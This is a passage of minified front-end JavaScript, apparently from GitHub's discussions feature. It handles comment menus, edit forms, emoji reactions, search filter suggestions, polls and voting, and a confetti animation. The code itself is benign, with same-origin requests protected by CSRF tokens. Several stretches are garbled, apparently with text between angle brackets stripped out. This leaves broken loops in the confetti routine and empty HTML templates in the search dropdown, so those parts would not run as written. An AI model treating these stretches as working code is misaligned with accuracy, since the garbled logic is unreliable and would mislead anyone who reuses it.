t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var 